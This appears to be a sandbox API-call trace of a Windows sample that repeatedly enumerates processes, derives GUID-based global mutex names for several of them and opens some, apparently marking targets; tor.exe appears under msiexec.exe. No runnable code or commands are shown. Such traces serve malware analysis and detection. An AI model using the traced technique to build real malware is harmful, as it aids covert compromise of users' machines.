[0115.456] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0115.457] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0115.457] GetLastError () returned 0xb7 [0115.457] CloseHandle (hObject=0x13e0) returned 1 [0115.457] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0115.457] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0115.457] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0115.457] GetLastError () returned 0xb7 [0115.457] CloseHandle (hObject=0x13e0) returned 1 [0115.458] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0115.458] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.459] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0115.459] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0115.459] GetLastError () returned 0x0 [0115.459] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0115.459] CloseHandle (hObject=0x13e0) returned 1 [0115.459] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.460] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0115.460] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0115.460] GetLastError () returned 0x0 [0115.460] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0115.460] CloseHandle (hObject=0x13e0) returned 1 [0115.460] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.461] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0115.461] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0115.461] GetLastError () returned 0xb7 [0115.461] CloseHandle (hObject=0x13e0) returned 1 [0115.461] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.462] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0115.462] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0115.462] GetLastError () returned 0x0 [0115.462] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0115.462] CloseHandle (hObject=0x13e0) returned 1 [0115.462] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0115.463] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0115.464] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0115.465] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0115.466] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0115.466] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0115.467] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0115.468] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0115.469] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0115.470] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0115.470] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0115.471] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0115.472] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0115.473] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0115.474] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0115.474] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0115.475] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0115.476] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0115.477] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0115.478] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0115.563] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0115.564] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.564] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0115.565] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.566] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0115.567] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0115.568] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0115.569] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0115.570] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0115.570] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.571] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0115.572] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0115.572] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0115.573] GetLastError () returned 0xb7 [0115.573] CloseHandle (hObject=0x13e0) returned 1 [0115.573] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0115.573] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0115.574] CloseHandle (hObject=0x13d8) returned 1 [0115.574] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0115.745] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13d8 [0115.747] Process32FirstW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.748] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0115.749] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0115.749] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.750] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0115.751] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.752] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0115.753] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0115.753] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0115.754] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0115.755] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.756] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.756] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.757] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.758] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.759] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0115.759] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.760] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.761] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0115.762] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.763] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.763] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0115.763] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0115.763] GetLastError () returned 0xb7 [0115.763] CloseHandle (hObject=0x13e0) returned 1 [0115.763] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0115.764] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0115.764] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0115.764] GetLastError () returned 0xb7 [0115.764] CloseHandle (hObject=0x13e0) returned 1 [0115.764] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0115.765] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.766] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: 